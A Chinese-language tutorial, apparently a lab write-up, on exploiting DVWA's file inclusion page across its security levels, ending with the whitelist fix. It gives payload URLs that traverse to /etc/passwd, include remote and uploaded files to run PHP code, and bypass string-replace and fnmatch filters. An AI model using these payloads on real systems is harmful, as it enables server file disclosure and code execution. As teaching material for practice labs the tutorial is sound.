简介
在 Web 后台开发中,程序员往往为了提高效率以及让代码看起来更加简洁,会使用 “包含” 函数功能。比如把一系列功能函数都写进 function.php 中,之后当某个文件需要调用的时候直接在文件头中写上一句 就可以调用函数代码。
但有些时候,因为网站功能需求,会让前端用户选择需要包含的文件(或者在前端的功能中使用了“包含”功能),又由于开发人员没有对要包含的这个文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件(代码)。这种情况称为“文件包含漏洞”。
文件包含漏洞有“本地文件包含漏洞”和“远程文件包含漏洞”两种。
low
核心代码
`<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>`
这里直接get传参,包含文件,没有进行任何过滤
1、本地文件包含
我们可以通过在URL中运行"../"根目录跳转方式,获取服务器上的信息,填写多个"../"可以直接跳转到根目录(注:服务器系统不同,payload也会不同,但都可以通过根目录跳转方式获取信息)
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../../../../../etc/passwd
运行URL后浏览器界面会显示服务器的信息
2、远程文件包含
我们输入以下URL
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=http://www.baidu.com/robots.txt
3、本地文件包含 Getshell
这里我们使用phpinfo测试
首先需要借助我们的靶场的文件上传,去上传phpp文件,我们可以直接后缀为txt文件,文件包含的强大之处就在于他会执行所包含文件中的php代码
输入URL
?page=../../hackable/uploads/phpp.txt
运行URL后浏览器界面会显示服务器的信息
Medium
核心代码
`<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", ".."" ), "", $file );
?> `
从源代码中,可以看出,它把“http://”、“https://”、“../”、“..”这些替换为了空白符,也就是删除,不可用了。
1、本地文件包涵
使用low级别的跳转方式是不行的,因为他已经限制了使用“../”,我们可以利用源代码中限制路径符号使用的漏洞来获取我们想要的信息。
因为它会把“../”删除掉,而“..././”这个符号会因为其中的“../”被删除,就会变成"../",我们可以通过这种方式来构造payload实现绕过
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=..././..././..././..././..././..././etc/passwd
因为它只限定URL相对路径,所以它的绝对路径是不受影响的,比如Windows系统的绝对路径C:/xampp/htdocs/dvwa/php.ini,Linux系统的/var/www/html/dvwa/php.ini,这些绝对路径都是可以使用的!
我这里把自己写的文件phpp.txt放在/var/www/html/dvwa/
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=/var/www/html/dvwa/phpp.txt
2、远程文件包含
使用low级别的方法也是不行的,我们可以像本地文件包含的方法一样,利用它替换的漏洞来构造payload实现绕过,“hthttp://tp://”被删除后就会变成“http://”
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.txt
(我们是在本地也就是127.0.0.1下放的phpinfo.txt文件)
文件执行成功
heigh
核心代码
`<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?> `
从源代码可以看出,它使用了fnmatch函数,规定page参数的值开头必须是file,才会允许去包含相应的文件。
这样设定,看似安全,其实我们是可以利用file协议来绕过它的防护策略
file协议就是在URL中输入file:///+文件的绝对路径,浏览器就会打开本地文件
我们可以保存一个文件在本地,然后通过浏览器打开这个文件
127.0.0.1/dvwa/vulnerabilities/fi/?page=file:///var/www/html/phpp.txt
payload执行成功
impossible
核心代码:
`<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?> `
从源代码中,可以看出,它使用了白名单防护的机制,page的值必须为“include.php、file1.php、file2.php、file3.php”这几个文件,彻底杜绝了文件包含漏洞!